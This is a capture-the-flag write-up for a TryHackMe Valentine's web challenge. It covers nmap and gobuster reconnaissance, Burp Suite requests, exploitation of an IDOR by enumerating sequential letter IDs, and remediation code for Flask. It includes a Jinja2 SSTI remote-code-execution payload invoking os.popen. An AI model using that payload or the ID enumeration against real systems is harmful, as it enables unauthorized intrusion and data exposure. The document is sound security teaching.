Love Letter Locker (TryHackMe) - IDOR

Lover Letter Locker is a Valentine's-themed web application that allows users to create and store love letters. The challenge description hints at privacy concerns with "For your eyes only?" - suggesting potential authorization issues. This write-up demonstrates how an Insecure Direct Object Reference (IDOR) vulnerability allowed unauthorized access to other users' letters, including one containing the flag.
Learning Objectives:
Identifying and exploiting IDOR vulnerabilities
Understanding the difference between authentication and authorization
Proper enumeration techniques using Burp Suite
Testing for Server-Side Template Injection (SSTI)
My Dearest Hacker,
Welcome to LoverLetterLocker, where you can safely write and store your Valentine's letters. For your eyes only?
You can access the web app here:
http://MACHINE_IP:5000
nmap -p- -sV <IP_Address>
Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-14 17:52 GMT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for <IP_Address>
Host is up (0.00018s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
5000/tcp open upnp?
Key Findings:
SSH on port 22 (standard)
Web application on port 5000 running Flask/Werkzeug (Python web framework)
Flask applications commonly use the Jinja2 templating engine
Directory Enumeration
gobuster dir -u http://<IP_Address>:5000 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
===============================================================
/letters (Status: 302) [Size: 231] [--> /login?next=%2Fletters]
/login (Status: 200) [Size: 1017]
/logout (Status: 302) [Size: 229] [--> /login?next=%2Flogout]
/register (Status: 200) [Size: 1048]
More Gobuster findings - paths:
letters/new
After looking through the site, I opted to use Burp Suite to interact with it more and consider testing if there's an SSTI vulnerability on some sections using {{ 7*7 }}, hoping it would return 49.
After interacting with the site, I switched back to Burp Suite HTTP history to send the requests on the repeater with the hope of getting the flag.
- The
GETrequest that/letters/3shows a hint of IDOR
POST /letters/new HTTP/1.1
Host: <IP_Address>:5000
Content-Length: 46
Cache-Control: max-age=0
Accept-Language: en-GB,en;q=0.9
Origin: http://<IP_Address>:5000
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://<IP_Address>7:5000/letters/new
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJwlzj0KwzAMQOG7eO5gWZYs5TLB1g_tmjRT6d0b6Pzg8X3Knkecz7K9jyseZX952QovBjbShkGzdgF3yEwXB8CUTOPp0hkSgdfsdemINpFDsYYOQjUPWtwo2zBXm3eoTZU7yTSrLhS5VkUY2Edv5vdNMmT20aTckOuM46_B8v0B0NcvJQ.aZDLeQ.UvYm6wGj-FhBLigbGQi-DlGOIAs
Connection: keep-alive
title=%7B%7B+7*7+%7D%7D&body=%7B%7B+7*7+%7D%7D
Some observations we had: session cookie returned
At first, I tried an SSTI RCE (Remote Code Execution) payload for Jinja2/Flask
POST /letters/new HTTP/1.1
Host: <IP_Address>:5000
Content-Type: application/x-www-form-urlencoded
Cookie: session
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read() }}
used to the GET request that had letter IDs -> I kept switching the letter IDs until I got the flag
GET /letter/1 HTTP/1.1
Conclusion
The LoverLetterLocker challenge demonstrated a classic Insecure Direct Object Reference (IDOR) vulnerability - one of the most common yet critical web application security flaws. The key takeaway is understanding that authentication and authorization are distinct security controls, and both must be properly implemented.
Vulnerability Analysis
OWASP Classification
CWE-639: Insecure Direct Object Reference (IDOR)
OWASP Top 10 2021: A01:2021 – Broken Access Control
Vulnerable Code Pattern
The application likely implemented insufficient authorization checks:
python
# VULNERABLE CODE
@app.route('/letters/<int:letter_id>')
@login_required # ✓ Checks authentication
def view_letter(letter_id):
letter = Letter.query.get(letter_id)
return render_template('view.html', letter=letter)
# ❌ Missing: Authorization check
Secure Implementation
Proper access control requires verifying ownership:
python
# SECURE CODE
@app.route('/letters/<int:letter_id>')
@login_required
def view_letter(letter_id):
letter = Letter.query.get(letter_id)
# Authorization check
if letter.user_id != current_user.id:
abort(403) # Forbidden
return render_template('view.html', letter=letter)
Remediation Recommendations
Implement Authorization Checks
Verify object ownership before granting access
Use indirect references (UUIDs instead of sequential IDs)
Use Access Control Lists (ACLs)
python
def user_can_access_letter(user, letter):
return letter.user_id == user.id or user.is_admin
- Implement UUID-based References
python
# Instead of: /letters/1
# Use: /letters/a3d5c7e9-f2b4-4a1e-9c8d-7e6f5a4b3c2d
Logging and Monitoring
Log access attempts with user IDs
Monitor for sequential ID enumeration patterns
Key Lessons Learned
1. Authentication ≠ Authorization
Authentication answers: "Who are you?" Authorization answers: "What can you access?"
This challenge had proper authentication but broken authorization.
2. IDOR Testing Should Be Priority #1
When encountering sequential IDs in any endpoint:
✓ /letters/3 → Immediately test /letters/1, /letters/2
✓ /users/123 → Test /users/1, /users/122, /users/124
✓ /api/orders/5 → Test /api/orders/1, /api/orders/4
IDOR testing takes 30 seconds but is often missed due to tunnel vision on complex exploits.
3. Systematic Enumeration Wins
Burp Suite Workflow:
Intercept requests during normal application use
Identify parameters that reference objects (IDs, filenames, etc.)
Send to Repeater
Systematically test variations
Document findings
4. The "Take a Break" Debug Method
Sometimes stepping away allows:
Fresh perspective on the problem
Browser cache/session issues to resolve
Subconscious problem-solving to occur
Recognition of overlooked obvious vulnerabilities
Challenge Summary:
Vulnerability: IDOR allowing unauthorized access to other users' letters
Exploitation Method: Sequential ID enumeration via Burp Suite
Flag Location: Letter ID #1 (likely admin's letter)
Time Investment: Initial SSTI rabbit hole (
20 mins) + IDOR discovery (2 mins)
Practical Security Lessons:
Test simple vulnerabilities first - IDOR testing should be immediate when seeing sequential IDs
Don't overthink - Complex exploits (SSTI, RCE) aren't always necessary
Systematic enumeration beats random clicking - Use Burp Repeater for reliable testing
Authorization checks are mandatory - Every object access must verify ownership
Technical Skills Developed:
Web application reconnaissance (nmap, gobuster)
Authentication mechanism analysis (Flask sessions)
Authorization vulnerability identification (IDOR)
Burp Suite proficiency (HTTP history, Repeater)
Template injection testing methodology (SSTI)
Final Thought:
In penetration testing and CTF challenges, the simplest explanation is often correct. While investigating advanced attacks like SSTI is valuable for learning, don't overlook fundamental access control issues. IDOR vulnerabilities remain prevalent in real-world applications precisely because they're so basic they get missed - making them high-impact, low-effort targets for both ethical hackers and malicious actors.




